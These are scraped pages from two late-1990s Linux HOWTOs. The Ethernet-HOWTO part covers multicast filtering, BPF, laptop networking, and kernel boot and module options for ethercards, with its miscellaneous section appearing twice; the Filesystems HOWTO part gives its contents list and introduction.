  1. Use promiscuous mode, and a packet filter like the Berkeley packet filter (BPF). The BPF is a pattern matching stack language, where you write a program that picks out the addresses you are interested in. Its advantage is that it's very general and programmable. Its disadvantage is that there is no general way for the kernel to avoid turning on promiscuous mode and running every packet on the wire through every registered packet filter. See The Berkeley Packet Filter for more info.
  2. Using the built-in multicast filter that most etherchips have.

I guess I should list what a few ethercards/chips provide:

        Chip/card  Promiscuous  Multicast filter
        ----------------------------------------
        Seeq8001/3c501  Yes     Binary filter (1)
        3Com/3c509      Yes     Binary filter (1)
        8390            Yes     Autodin II six bit hash (2) (3)
        LANCE           Yes     Autodin II six bit hash (2) (3)
        i82586          Yes     Hidden Autodin II six bit hash (2) (4)

  1. These cards claim to have a filter, but it's a simple yes/no `accept all multicast packets', or `accept no multicast packets'.
  2. AUTODIN II is the standard ethernet CRC (checksum) polynomial. In this scheme multicast addresses are hashed and looked up in a hash table. If the corresponding bit is enabled, this packet is accepted. Ethernet packets are laid out so that the hardware to do this is trivial -- you just latch six (usually) bits from the CRC circuit (needed anyway for error checking) after the first six octets (the destination address), and use them as an index into the hash table (six bits -- a 64-bit table).
  3. These chips use the six bit hash, and must have the table computed and loaded by the host. This means the kernel must include the CRC code.
  4. The 82586 uses the six bit hash internally, but it computes the hash table itself from a list of multicast addresses to accept.

Note that none of these chips do perfect filtering, and we still need a middle-level module to do the final filtering. Also note that in every case we must keep a complete list of accepted multicast addresses to recompute the hash table when it changes.

7.9 The Berkeley Packet Filter (BPF)

The general idea of the developers is that the BPF functionality should not be provided by the kernel, but should be in a (hopefully little-used) compatibility library.

For those not in the know: BPF (the Berkeley Packet Filter) is an mechanism for specifying to the kernel networking layers what packets you are interested in. It's implemented as a specialized stack language interpreter built into a low level of the networking code. An application passes a program written in this language to the kernel, and the kernel runs the program on each incoming packet. If the kernel has multiple BPF applications, each program is run on each packet.

The problem is that it's difficult to deduce what kind of packets the application is really interested in from the packet filter program, so the general solution is to always run the filter. Imagine a program that registers a BPF program to pick up a low data-rate stream sent to a multicast address. Most ethernet cards have a hardware multicast address filter implemented as a 64 entry hash table that ignores most unwanted multicast packets, so the capability exists to make this a very inexpensive operation. But with the BPF the kernel must switch the interface to promiscuous mode, receive _all_ packets, and run them through this filter. This is work, BTW, that's very difficult to account back to the process requesting the packets.


Linux Ethernet-Howto: Networking with a Laptop/Notebook Computer

 Next Previous Contents

8. Networking with a Laptop/Notebook Computer

There are several ways to put your laptop on a network. You can use the SLIP code (and run at serial line speeds); you can get a notebook with a supported PCMCIA slot built-in; you can get a laptop with a docking station and plug in an ISA ethercard; or you can use a parallel port Ethernet adapter.

8.1 Using SLIP

This is the cheapest solution, but by far the most difficult. Also, you will not get very high transmission rates. Since SLIP is not really related to ethernet cards, it will not be discussed further here. See the NET-2 Howto.

8.2 PCMCIA Support

Try and determine exactly what hardware you have (ie. card manufacturer, PCMCIA chip controller manufacturer) and then ask on the LAPTOPS channel. Regardless, don't expect things to be all that simple. Expect to have to fiddle around a bit, and patch kernels, etc. Maybe someday you will be able to type `make config' 8-)

At present, the two PCMCIA chipsets that are supported are the Databook TCIC/2 and the intel i82365.

There is a number of programs on tsx-11.mit.edu in /pub/linux/packages/laptops/ that you may find useful. These range from PCMCIA Ethercard drivers to programs that communicate with the PCMCIA controller chip. Note that these drivers are usually tied to a specific PCMCIA chip (ie. the intel 82365 or the TCIC/2)

For NE2000 compatible cards, some people have had success with just configuring the card under DOS, and then booting linux from the DOS command prompt via loadlin.

Things are looking up for Linux users that want PCMCIA support, as substantial progress is being made. Pioneering this effort is David Hinds. His latest PCMCIA support package can be obtained from:

PCMCIA Package

Look for a file like pcmcia-cs-X.Y.Z.tgz where X.Y.Z will be the latest version number. This is most likely uploaded to the tsx-11.mit.edu FTP site as well.

Note that Donald's PCMCIA enabler works as a user-level process, and David Hinds' is a kernel-level solution. You may be best served by David's package as it is much more widely used and under continuous development.

8.3 ISA Ethercard in the Docking Station.

Docking stations for laptops typically cost about $250 and provide two full-size ISA slots, two serial and one parallel port. Most docking stations are powered off of the laptop's batteries, and a few allow adding extra batteries in the docking station if you use short ISA cards. You can add an inexpensive ethercard and enjoy full-speed ethernet performance.

8.4 Pocket / parallel port adaptors.

The `pocket' ethernet adaptors may also fit your need. Note that the transfer speed will not be all that great (perhaps 200kB/s tops?) due to the limitations of the parallel port interface.

Also most tie you down with a wall-brick power supply. You can sometimes avoid the wall-brick with the adaptors by buying or making a cable that draws power from the laptop's keyboard port. (See keyboard power)

See DE-600 / DE-620 and RealTek for two supported pocket adaptors.


Linux Ethernet-Howto: Miscellaneous.

 Next Previous Contents

9. Miscellaneous.

Any other associated stuff that didn't fit in anywhere else gets dumped here. It may not be relevant, and it may not be of general interest but it is here anyway.

9.1 Passing Ethernet Arguments to the Kernel

Here are two generic kernel commands that can be passed to the kernel at boot time (ether and reserve). This can be done with LILO, loadlin, or any other booting utility that accepts optional arguments.

For example, if the command was `blah' and it expected 3 arguments (say 123, 456, and 789) then, with LILO, you would use:

LILO: linux blah=123,456,789

For more information on (and a complete list of) boot time arguments, please see the BootPrompt-HOWTO

The ether command

The ether= argument is used in conjunction with drivers that are directly built into the kernel. The ether= argument will have absolutely no effect on a modular driver. In its most generic form, it looks something like this:

ether=IRQ,BASE_ADDR,PARAM_1,PARAM_2,NAME

All arguments are optional. The first non-numeric argument is taken as the NAME.

IRQ: Obvious. An IRQ value of `0' (usually the default) means to autoIRQ. It's a historical accident that the IRQ setting is first rather than the base_addr -- this will be fixed whenever something else changes.

BASE_ADDR: Also obvious. A value of `0' (usually the default) means to probe a card-type-specific address list for an ethercard.

PARAM_1: It was orginally used as an override value for the memory start for a shared-memory ethercard, like the WD80*3. Some drivers use the low four bits of this value to set the debug message level. 0 -- default, 1-7 -- level 1..7, (7 is maximum verbosity) 8 -- level 0 (no messages). Also, the LANCE driver uses the low four bits of this value to select the DMA channel. Otherwise it uses auto-DMA.

PARAM_2: The 3c503 driver uses this to select between the internal and external transceivers. 0 -- default/internal, 1 -- AUI external. The Cabletron E21XX card also uses the low 4 bits of PARAM_2 to select the output media. Otherwise it detects automatically.

NAME: Selects the network device the values refer to. The standard kernel uses the names `eth0', `eth1', `eth2' and `eth3' for bus-attached ethercards, and `atp0' for the parallel port `pocket' ethernet adaptor. The arcnet driver uses `arc0' as its name. The default setting is for a single ethercard to be probed for as `eth0'. Multiple cards can only be enabled by explicitly setting up their base address using these LILO parameters. The 1.0 kernel has LANCE-based ethercards as a special case. LILO arguments are ignored, and LANCE cards are always assigned `eth<n>' names starting at `eth0'. Additional non-LANCE ethercards must be explicitly assigned to `eth<n+1>', and the usual `eth0' probe disabled with something like `ether=0,-1,eth0'. ( Yes, this is bug. )

The reserve command

This next lilo command is used just like `ether=' above, ie. it is appended to the name of the boot select specified in lilo.conf

reserve=IO-base,extent{,IO-base,extent...}

In some machines it may be necessary to prevent device drivers from checking for devices (auto-probing) in a specific region. This may be because of poorly designed hardware that causes the boot to freeze (such as some ethercards), hardware that is mistakenly identified, hardware whose state is changed by an earlier probe, or merely hardware you don't want the kernel to initialize.

The reserve boot-time argument addresses this problem by specifying an I/O port region that shouldn't be probed. That region is reserved in the kernel's port registration table as if a device has already been found in that region. Note that this mechanism shouldn't be necessary on most machines. Only when there is a problem or special case would it be necessary to use this.

The I/O ports in the specified region are protected against device probes. This was put in to be used when some driver was hanging on a NE2000, or misidentifying some other device as its own. A correct device driver shouldn't probe a reserved region, unless another boot argument explicitly specifies that it do so. This implies that reserve will most often be used with some other boot argument. Hence if you specify a reserve region to protect a specific device, you must generally specify an explicit probe for that device. Most drivers ignore the port registration table if they are given an explicit address.

For example, the boot line

LILO: linux reserve=0x300,32 ether=0,0x300,eth0

keeps all device drivers except the ethercard drivers from probing 0x300-0x31f.

As usual with boot-time specifiers there is an 11 parameter limit, thus you can only specify 5 reserved regions per reserve keyword. Multiple reserve specifiers will work if you have an unusually complicated request.

9.2 Using the Ethernet Drivers as Modules

Most of the linux distributions now ship kernels that have very few drivers built-in. The drivers are instead supplied as a bunch of independent dynamically loadable modules. These modular drivers are typically loaded by the administrator with the modprobe(8) command, or in some cases they are automatically loaded by the kernel through `kerneld' (in 2.0) or `kmod' (in 2.1) which then calls modprobe.

You particular distribution may offer nice graphical configuration tools for setting up ethernet modules. If possible you should try and use them first. The description that follows here gives information on what underlies any fancy configuration program, and what these programs change.

The information that controls what modules are to be used and what options are supplied to each module is usually stored in the file /etc/conf.modules. The two main options of interest (for ethernet cards) that will be used in this file are alias and options. The modprobe command consults this file for module information.

The actual modules themselves are typically stored in a directory named /lib/modules/`uname -r`/net where the uname -r command gives the kernel version (e.g. 2.0.34). You can look in there to see which module matches your card.

The first thing you need in your conf.modules file is something to tell modprobe what driver to use for the eth0 (and eth1 and...) network interface. You use the alias command for this. For example, if you have an ISA SMC EtherEZ card which uses the smc-ultra.o driver module, you need to alias this driver to eth0 by adding the line:

        alias eth0 smc-ultra

The other thing you may need is an options line indicating what options are to be used with a particular module (or module alias). Continuing with the above example, if you only used the single alias line with no options line, the kernel would warn you (see dmesg) that autoprobing for ISA cards is not a good idea. To get rid of this warning, you would add another line telling the module what I/O base the card is configured to, in this case say the hexidecimal address 0x280 for example.

        options smc-ultra io=0x280

Most ISA modules accept parameters like io=0x340 and irq=12 on the insmod command line. It is REQUIRED or at least STRONGLY ADVISED that you supply these parameters to avoid probing for the card. Unlike PCI and EISA devices, there is no real safe way to do auto-probing for most ISA devices, and so it should be avoided when using drivers as modules.

A list of all the options that each module accepts can be found in the file:

/usr/src/linux/Documentation/networking/net-modules.txt

It is recommended that you read that to find out what options you can use for your particular card. Note that some modules support comma separated value lists for modules that have the capability to handle multiple devices from a single module, such as all the 8390 based drivers, and the PLIP driver. For exmple:

        options 3c503 io=0x280,0x300,0x330,0x350 xcvr=0,1,0,1

The above would have the one module controlling four 3c503 cards, with card 2 and 4 using external transcievers. Don't put spaces around the `=' or commas.

Also note that a busy module can't be removed. That means that you will have to ifconfig eth0 down (shut down the ethernet card) before you can remove the module(s).

The command lsmod will show you what modules are loaded, whether they are in use, and rmmod will remove them.

9.3 Related Documentation

Much of this info came from saved postings from the comp.os.linux groups, which shows that it is a valuable resource of information. Other useful information came from a bunch of small files by Donald himself. Of course, if you are setting up an Ethernet card, then you will want to read the NET-2 Howto so that you can actually configure the software you will use. Also, if you fancy yourself as a bit of a hacker, you can always scrounge some additional info from the driver source files as well. There is usually a paragraph or two in there describing any important points before any actual code starts..

For those looking for information that is not specific in any way to Linux (i.e. what is 10BaseT, what is AUI, what does a hub do, etc.) I strongly recommend making use of the newsgroup comp.dcom.lans.ethernet and/or comp.sys.ibm.pc.hardware.networking. Newsgroup archives such as those at dejanews.com can also be an invaluable source of information. You can grab the newsgroup FAQ from RTFM (which holds all the newsgroup FAQs) at the following URL:

Usenet FAQs

You can also have a look at the `Ethernet-HomePage' so to speak, which is at the following URL:

Ethernet-HomePage

9.4 Disclaimer and Copyright

This document is not gospel. However, it is probably the most up to date info that you will be able to find. Nobody is responsible for what happens to your hardware but yourself. If your ethercard or any other hardware goes up in smoke (...nearly impossible!) we take no responsibility. ie. THE AUTHORS ARE NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION INCLUDED IN THIS DOCUMENT.

This document is Copyright (c) 1993-1999 by Paul Gortmaker. Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that this copyright notice is included exactly as in the original, and that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this document into another language, under the above conditions for modified versions.

A hint to people considering doing a translation. First, translate the SGML source (available via FTP from the HowTo main site) so that you can then generate other output formats. Be sure to keep a copy of the original English SGML source that you translated from! When an updated HowTo is released, get the new SGML source for that version, and then a simple diff -u old.sgml new.sgml will show you exactly what has changed so that you can easily incorporate those changes into your translated SMGL source without having to re-read or re-translate everything.

If you are intending to incorporate this document into a published work, please make contact (via e-mail) so that you can be supplied with the most up to date information available. In the past, out of date versions of the Linux HowTo documents have been published, which caused the developers undue grief from being plagued with questions that were already answered in the up to date versions.

9.5 Closing

If you have found any glaring typos, or outdated info in this document, please send an e-mail. It is big, and it is easy to overlook stuff. If you have e-mailed about a change, and it hasn't been included in the next version, please don't hesitate to send it again, as it might have got lost amongst the usual sea of SPAM and junk mail I get.

Thanks!

Paul Gortmaker, p_gortmaker@yahoo.com


Linux Ethernet-Howto: Miscellaneous.

 Next Previous Contents

10. Miscellaneous.

Any other associated stuff that didn't fit in anywhere else gets dumped here. It may not be relevant, and it may not be of general interest but it is here anyway.

10.1 Passing Ethernet Arguments to the Kernel

Here are two generic kernel commands that can be passed to the kernel at boot time (ether and reserve). This can be done with LILO, loadlin, or any other booting utility that accepts optional arguments.

For example, if the command was `blah' and it expected 3 arguments (say 123, 456, and 789) then, with LILO, you would use:

LILO: linux blah=123,456,789

For more information on (and a complete list of) boot time arguments, please see the BootPrompt-HOWTO

The ether command

The ether= argument is used in conjunction with drivers that are directly built into the kernel. The ether= argument will have absolutely no effect on a modular driver. In its most generic form, it looks something like this:

ether=IRQ,BASE_ADDR,PARAM_1,PARAM_2,NAME

All arguments are optional. The first non-numeric argument is taken as the NAME.

IRQ: Obvious. An IRQ value of `0' (usually the default) means to autoIRQ. It's a historical accident that the IRQ setting is first rather than the base_addr -- this will be fixed whenever something else changes.

BASE_ADDR: Also obvious. A value of `0' (usually the default) means to probe a card-type-specific address list for an ethercard.

PARAM_1: It was orginally used as an override value for the memory start for a shared-memory ethercard, like the WD80*3. Some drivers use the low four bits of this value to set the debug message level. 0 -- default, 1-7 -- level 1..7, (7 is maximum verbosity) 8 -- level 0 (no messages). Also, the LANCE driver uses the low four bits of this value to select the DMA channel. Otherwise it uses auto-DMA.

PARAM_2: The 3c503 driver uses this to select between the internal and external transceivers. 0 -- default/internal, 1 -- AUI external. The Cabletron E21XX card also uses the low 4 bits of PARAM_2 to select the output media. Otherwise it detects automatically.

NAME: Selects the network device the values refer to. The standard kernel uses the names `eth0', `eth1', `eth2' and `eth3' for bus-attached ethercards, and `atp0' for the parallel port `pocket' ethernet adaptor. The arcnet driver uses `arc0' as its name. The default setting is for a single ethercard to be probed for as `eth0'. Multiple cards can only be enabled by explicitly setting up their base address using these LILO parameters. The 1.0 kernel has LANCE-based ethercards as a special case. LILO arguments are ignored, and LANCE cards are always assigned `eth<n>' names starting at `eth0'. Additional non-LANCE ethercards must be explicitly assigned to `eth<n+1>', and the usual `eth0' probe disabled with something like `ether=0,-1,eth0'. ( Yes, this is bug. )

The reserve command

This next lilo command is used just like `ether=' above, ie. it is appended to the name of the boot select specified in lilo.conf

reserve=IO-base,extent{,IO-base,extent...}

In some machines it may be necessary to prevent device drivers from checking for devices (auto-probing) in a specific region. This may be because of poorly designed hardware that causes the boot to freeze (such as some ethercards), hardware that is mistakenly identified, hardware whose state is changed by an earlier probe, or merely hardware you don't want the kernel to initialize.

The reserve boot-time argument addresses this problem by specifying an I/O port region that shouldn't be probed. That region is reserved in the kernel's port registration table as if a device has already been found in that region. Note that this mechanism shouldn't be necessary on most machines. Only when there is a problem or special case would it be necessary to use this.

The I/O ports in the specified region are protected against device probes. This was put in to be used when some driver was hanging on a NE2000, or misidentifying some other device as its own. A correct device driver shouldn't probe a reserved region, unless another boot argument explicitly specifies that it do so. This implies that reserve will most often be used with some other boot argument. Hence if you specify a reserve region to protect a specific device, you must generally specify an explicit probe for that device. Most drivers ignore the port registration table if they are given an explicit address.

For example, the boot line

LILO: linux reserve=0x300,32 ether=0,0x300,eth0

keeps all device drivers except the ethercard drivers from probing 0x300-0x31f.

As usual with boot-time specifiers there is an 11 parameter limit, thus you can only specify 5 reserved regions per reserve keyword. Multiple reserve specifiers will work if you have an unusually complicated request.

10.2 Using the Ethernet Drivers as Modules

Most of the linux distributions now ship kernels that have very few drivers built-in. The drivers are instead supplied as a bunch of independent dynamically loadable modules. These modular drivers are typically loaded by the administrator with the modprobe(8) command, or in some cases they are automatically loaded by the kernel through `kerneld' (in 2.0) or `kmod' (in 2.1) which then calls modprobe.

You particular distribution may offer nice graphical configuration tools for setting up ethernet modules. If possible you should try and use them first. The description that follows here gives information on what underlies any fancy configuration program, and what these programs change.

The information that controls what modules are to be used and what options are supplied to each module is usually stored in the file /etc/conf.modules. The two main options of interest (for ethernet cards) that will be used in this file are alias and options. The modprobe command consults this file for module information.

The actual modules themselves are typically stored in a directory named /lib/modules/`uname -r`/net where the uname -r command gives the kernel version (e.g. 2.0.34). You can look in there to see which module matches your card.

The first thing you need in your conf.modules file is something to tell modprobe what driver to use for the eth0 (and eth1 and...) network interface. You use the alias command for this. For example, if you have an ISA SMC EtherEZ card which uses the smc-ultra.o driver module, you need to alias this driver to eth0 by adding the line:

        alias eth0 smc-ultra

The other thing you may need is an options line indicating what options are to be used with a particular module (or module alias). Continuing with the above example, if you only used the single alias line with no options line, the kernel would warn you (see dmesg) that autoprobing for ISA cards is not a good idea. To get rid of this warning, you would add another line telling the module what I/O base the card is configured to, in this case say the hexidecimal address 0x280 for example.

        options smc-ultra io=0x280

Most ISA modules accept parameters like io=0x340 and irq=12 on the insmod command line. It is REQUIRED or at least STRONGLY ADVISED that you supply these parameters to avoid probing for the card. Unlike PCI and EISA devices, there is no real safe way to do auto-probing for most ISA devices, and so it should be avoided when using drivers as modules.

A list of all the options that each module accepts can be found in the file:

/usr/src/linux/Documentation/networking/net-modules.txt

It is recommended that you read that to find out what options you can use for your particular card. Note that some modules support comma separated value lists for modules that have the capability to handle multiple devices from a single module, such as all the 8390 based drivers, and the PLIP driver. For exmple:

        options 3c503 io=0x280,0x300,0x330,0x350 xcvr=0,1,0,1

The above would have the one module controlling four 3c503 cards, with card 2 and 4 using external transcievers. Don't put spaces around the `=' or commas.

Also note that a busy module can't be removed. That means that you will have to ifconfig eth0 down (shut down the ethernet card) before you can remove the module(s).

The command lsmod will show you what modules are loaded, whether they are in use, and rmmod will remove them.

10.3 Related Documentation

Much of this info came from saved postings from the comp.os.linux groups, which shows that it is a valuable resource of information. Other useful information came from a bunch of small files by Donald himself. Of course, if you are setting up an Ethernet card, then you will want to read the NET-2 Howto so that you can actually configure the software you will use. Also, if you fancy yourself as a bit of a hacker, you can always scrounge some additional info from the driver source files as well. There is usually a paragraph or two in there describing any important points before any actual code starts..

For those looking for information that is not specific in any way to Linux (i.e. what is 10BaseT, what is AUI, what does a hub do, etc.) I strongly recommend making use of the newsgroup comp.dcom.lans.ethernet and/or comp.sys.ibm.pc.hardware.networking. Newsgroup archives such as those at dejanews.com can also be an invaluable source of information. You can grab the newsgroup FAQ from RTFM (which holds all the newsgroup FAQs) at the following URL:

Usenet FAQs

You can also have a look at the `Ethernet-HomePage' so to speak, which is at the following URL:

Ethernet-HomePage

10.4 Disclaimer and Copyright

This document is not gospel. However, it is probably the most up to date info that you will be able to find. Nobody is responsible for what happens to your hardware but yourself. If your ethercard or any other hardware goes up in smoke (...nearly impossible!) we take no responsibility. ie. THE AUTHORS ARE NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION INCLUDED IN THIS DOCUMENT.

This document is Copyright (c) 1993-1997 by Paul Gortmaker. Permission is granted to make and distribute verbatim copies of this manual provided the copyright notice and this permission notice are preserved on all copies.

Permission is granted to copy and distribute modified versions of this document under the conditions for verbatim copying, provided that this copyright notice is included exactly as in the original, and that the entire resulting derived work is distributed under the terms of a permission notice identical to this one.

Permission is granted to copy and distribute translations of this document into another language, under the above conditions for modified versions.

A hint to people considering doing a translation. First, translate the SGML source (available via FTP from the HowTo main site) so that you can then generate other output formats. Be sure to keep a copy of the original English SGML source that you translated from! When an updated HowTo is released, get the new SGML source for that version, and then a simple diff -u old.sgml new.sgml will show you exactly what has changed so that you can easily incorporate those changes into your translated SMGL source without having to re-read or re-translate everything.

If you are intending to incorporate this document into a published work, please make contact (via e-mail) so that you can be supplied with the most up to date information available. In the past, out of date versions of the Linux HowTo documents have been published, which caused the developers undue grief from being plagued with questions that were already answered in the up to date versions.

10.5 Closing

If you have found any glaring typos, or outdated info in this document, please send an e-mail. It is big, and it is easy to overlook stuff. If you have e-mailed about a change, and it hasn't been included in the next version, please don't hesitate to send it again, as it might have got lost amongst the usual sea of SPAM and junk mail I get.

Thanks!

Paul Gortmaker, p_gortmaker@yahoo.com


Filesystems HOWTO

Martin Hinner < mhi@penguin.cz>

Version 0.7.5, 22 August 2000

This small HOWTO is about filesystems and accessing filesystems. It is not Linux- or Unix-related document as you probably expect. You can find there also a lot of interesting information about non-Unix (file)systems, but Unix is my primary interest :-)

1. Introduction

  • 1.1 Copyright
  • 1.2 Filesystems mailing-list
  • 1.3 Filesystems collection at metalab.unc.edu
  • 1.4 Credits
  • 1.5 Filesystems accessibility map
  • 1.6 Introduction to contiguous allocation filesystems
  • 1.7 Introduction to linked-list allocation filesystems
  • 1.8 Introduction to FAT-based filesystems
  • 1.9 Introduction to Inode filesystems
  • 1.10 Introduction to extent filesystems
  • 1.11 Introduction to filesystems using balanced trees
  • 1.12 Introduction to logging/journaling filesystems
  • 1.13 Other filesystem features

2. Volumes

  • 2.1 PC Partitions
  • 2.2 Other partitions
  • 2.3 Unix disklabels
  • 2.4 Windows NT volumes
  • 2.5 MD - Multiple Devices driver for Linux
  • 2.6 LVM - Logical Volume Manager (HP-UX LVM?)
  • 2.7 VxVM - Veritas Volume Manager
  • 2.8 IBM OS/2 LVM
  • 2.9 StackVM
  • 2.10 Novell NetWare volumes

3. DOS FAT 12/16/32, VFAT

  • 3.1 VFAT: Long filenames
  • 3.2 UMSDOS: Linux LFN/attributes on FAT filesystem
  • 3.3 OS/2 Extended Attributes on FAT filesystems
  • 3.4 Star LFN
  • 3.5 Accessing VFAT from OS/2 (VFAT-OS2)
  • 3.6 Accessing VFAT from DOS (LFNDOS driver)
  • 3.7 Accessing VFAT from DOS (Free LFNDOS driver)
  • 3.8 Accessing VFAT from DOS (Odi's LFN tools)
  • 3.9 Accessing FAT32 from OS/2 (FAT32.IFS)
  • 3.10 Accessing FAT32 from Windows NT 4.0
  • 3.11 Accessing FAT32 from Windows NT 4.0
  • 3.12 Accessing Stac/Dblspaced/Drvspaced drives from Linux (DMSDOS)
  • 3.13 Accessing Dblspaced/Drvspaced drives from Linux (thsfs)
  • 3.14 Fsresize - FAT16/32 resizer
  • 3.15 FIPS - FAT16 resizer

4. High Performance FileSystem (HPFS)

  • 4.1 Accessing HPFS from DOS (iHPFS)
  • 4.2 Accessing HPFS from DOS (hpfsdos)
  • 4.3 Accessing HPFS from DOS (hpfsa)
  • 4.4 Accessing HPFS from DOS (amos)
  • 4.5 Accessing HPFS from Linux
  • 4.6 Accessing HPFS from FreeBSD
  • 4.7 Accessing HPFS from Windows NT 3.5
  • 4.8 Accessing HPFS from Windows NT 4

5. New Technology FileSystem (NTFS)

  • 5.1 Accessing NTFS from DOS (NTFSDOS.EXE)
  • 5.2 Accessing NTFS from DOS (ntpwd)
  • 5.3 Accessing NTFS from OS/2
  • 5.4 Accessing NTFS from Linux
  • 5.5 Accessing NTFS from FreeBSD and NetBSD
  • 5.6 Accessing NTFS from BeOS
  • 5.7 Accessing NTFS from BeOS (another)
  • 5.8 Repairing NTFS using NTFSDOS Tools
  • 5.9 Repairing NTFS using NTRecover

6. Extended filesystems (Ext, Ext2, Ext3)

  • 6.1 Extended filesystem (ExtFS)
  • 6.2 Second Extended Filesystem (Ext2 FS)
  • 6.3 Third Extended Filesystem (Ext3 FS)
  • 6.4 E2compr - Ext2fs transparent compression
  • 6.5 Accessing Ext2 from DOS (Ext2 tools)
  • 6.6 Accessing Ext2 from DOS, Windows 9x/NT and other Unixes (LTools)
  • 6.7 Accessing Ext2 from OS/2
  • 6.8 Accessing Ext2 from Windows 95/98 (FSDEXT2)
  • 6.9 Accessing Ext2 from Windows 95 (Explore2fs)
  • 6.10 Accessing Ext2 from Windows NT (ext2fsnt)
  • 6.11 Accessing Ext2 from BeOS
  • 6.12 Accessing Ext2 from MacOS (MountX)
  • 6.13 Accessing Ext2 from MiNT
  • 6.14 Ext2fs defrag
  • 6.15 Ext2fs resize
  • 6.16 Ext2end
  • 6.17 Repairing/analyzing/creating Ext2 using E2fsprogs
  • 6.18 Ext2 filesystem editor - Ext2ed
  • 6.19 Linux filesystem editor - lde
  • 6.20 Ext2 undelete utilities

7. Macintosh Hierarchical Filesystem - HFS

  • 7.1 Accessing HFS from Linux
  • 7.2 Accessing HFS from OS/2 (HFS/2)
  • 7.3 Accessing HFS from Windows 95/98/NT (HFV Explorer)
  • 7.4 Accessing HFS from DOS (MAC-ETTE)
  • 7.5 HFS utils
  • 7.6 MacFS: A Portable Macintosh File System Library

8. ISO 9660 - CD-ROM filesystem

  • 8.1 RockRidge extensions
  • 8.2 Joliet extensions
  • 8.3 Hybrid CD-ROMs
  • 8.4 Novell NetWare indexes on ISO9660
  • 8.5 Accessing Joliet from Linux
  • 8.6 Accessing Joliet from BeOS
  • 8.7 Accessing Joliet from OS/2
  • 8.8 Accessing Audio CD as filesystem from Linux
  • 8.9 Accessing Audio CD as filesystem from BeOS
  • 8.10 Accessing all tracks from Linux (CDfs)
  • 8.11 Creating Hybrid CD-ROMs (mkhybrid)

9. Other filesystems

  • 9.1 ADFS - Acorn Disc File System
  • 9.2 AFFS - Amiga fast filesystem
  • 9.3 BeFS - BeOS filesystem
  • 9.4 BFS - UnixWare Boot Filesystem
  • 9.5 CrosStor filesystem
  • 9.6 DTFS - Desktop filesystem
  • 9.7 EFS - Enhanced filesystem (Linux)
  • 9.8 EFS - Extent filesystem (IRIX)
  • 9.9 FFS - BSD Fast filesystem
  • 9.10 GPFS - General Parallel Filesystem
  • 9.11 HFS - HP-UX Hi performance filesystem
  • 9.12 HTFS - High throughput filesystem
  • 9.13 JFS - Journaled filesystem (HP-UX, AIX, OS/2 5, Linux)
  • 9.14 LFS - Linux log structured filesystem
  • 9.15 MFS - Macintosh filesystem
  • 9.16 Minix filesystem
  • 9.17 NWFS - Novell NetWare filesystem
  • 9.18 NSS - Novell Storage Services
  • 9.19 ODS - On Disk Structure filesystem
  • 9.20 QNX filesystem
  • 9.21 Reiser filesystem
  • 9.22 RFS (CD-ROM Filesystem)
  • 9.23 RomFS - Rom filesystem
  • 9.24 SFS - Secure filesystem
  • 9.25 Spiralog filesystem (OpenVMS)
  • 9.26 System V and derived filesystems
  • 9.27 Text - (Philips' CD-ROM Filesystem)
  • 9.28 UDF - Universal Disk Format (DVD-ROM filesystem)
  • 9.29 UFS
  • 9.30 V7 Filesystem
  • 9.31 VxFS - Veritas filesystem (HP-UX, SCO UnixWare, Solaris)
  • 9.32 XFS - Extended filesystem (IRIX)
  • 9.33 Xia FS

10. Raw partitions

  • 10.1 Backing up raw partitions using DBsnapshot

11. Appendix

  • 11.1 Network filesystems
  • 11.2 Encrypted filesystems
  • 11.3 Filesystem benchmarking utilities
  • 11.4 Writing your own filesystem driver
  • 11.5 Related documents


Filesystems HOWTO: Introduction

 Next Previous Contents

1. Introduction

The Filesystems HOWTO is about filesystems and accessing filesystems from various OS. Although this document has been put together to the best of my knowledge, it may and probably does contain mistakes. Please if you find some mistake or outdated information, let me know. I will try to keep this document up to date and as error free as possible. Any contributions are also welcome, so if you want to write anything about filesystems, please contact me via e-mail.

Before you read this HOWTO it's recommended to read Stein Gjoen's Disk-HOWTO (you can obtain it from http://sunsite.unc.edu/LDP/HOWTO/ ).

This HOWTO can be obtained from http://penguin.cz/~mhi/fs/ or http://metalab.unc.edu/filesystems/howto/.

If you are Japanese user, you might be interested that FUJIWARA Teruyoshi translated this HOWTO to Japanese. It is available at http://www.linux.or.jp/JF/JFdocs/Filesystems-HOWTO.html. SGML source file can be downloaded from ftp://ftp.linet.gr.jp/pub/JF/sgml/Filesystems-HOWTO.sgml.gz.

1.1 Copyright

The Filesystems HOWTO, Copyright (c) 1999 Martin Hinner < mhi@penguin.cz>.

This HOWTO is free document; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This HOWTO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this document or GNU CC; if not, write to the: Free Software Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.

1.2 Filesystems mailing-list

You may want to join Filesystems mailing list. It's intended to be a good source of information for both end-users and developers. So if you have anything to do with filesystems, join ;-) To subscribe send email to < majordomo@penguin.cz> and in the BODY (not the subject) of the email message put (without quotes): "subscribe fs-l".

Linux kernel filesystems mailing-list

To join Linux kernel filesystems mailing list linux-fsdev@vger.rutgers.edu, send e-mail to listserv@vger.rutgers.edu. Put "subscribe linux-fsdev" in message body.

FreeBSD filesystems mailing-list

To join techical FreeBSD filesystems mailing list freebsd-fs@FreeBSD.org, send e-mail to majordomo@FreeBSD.org. Put "subscribe freebsd-fs" in message body.

1.3 Filesystems collection at metalab.unc.edu

Filesystems collection is FTP/WWW site providing useful information about filesystems and filesystem-related programs and drivers. It lives at http://metalab.unc.edu/filesystems/, or FTP-only at ftp://metalab.unc.edu/pub/docs/filesystems/.

1.4 Credits

The original "Filesystems access HOWTO" was written by Georgatos Photis (see his homepage at http://students.ceid.upatras.gr/~gef/). This HOWTO contains a lot of information from his webpage. Thanks, Gef.

FUJIWARA Teruyoshi <fujiwara@linux.or.jp> translated this HOWTO to Japanese.

Other people who have contributed or helped me (directly or indirectly) with this HOWTO are, in alphabetical order:

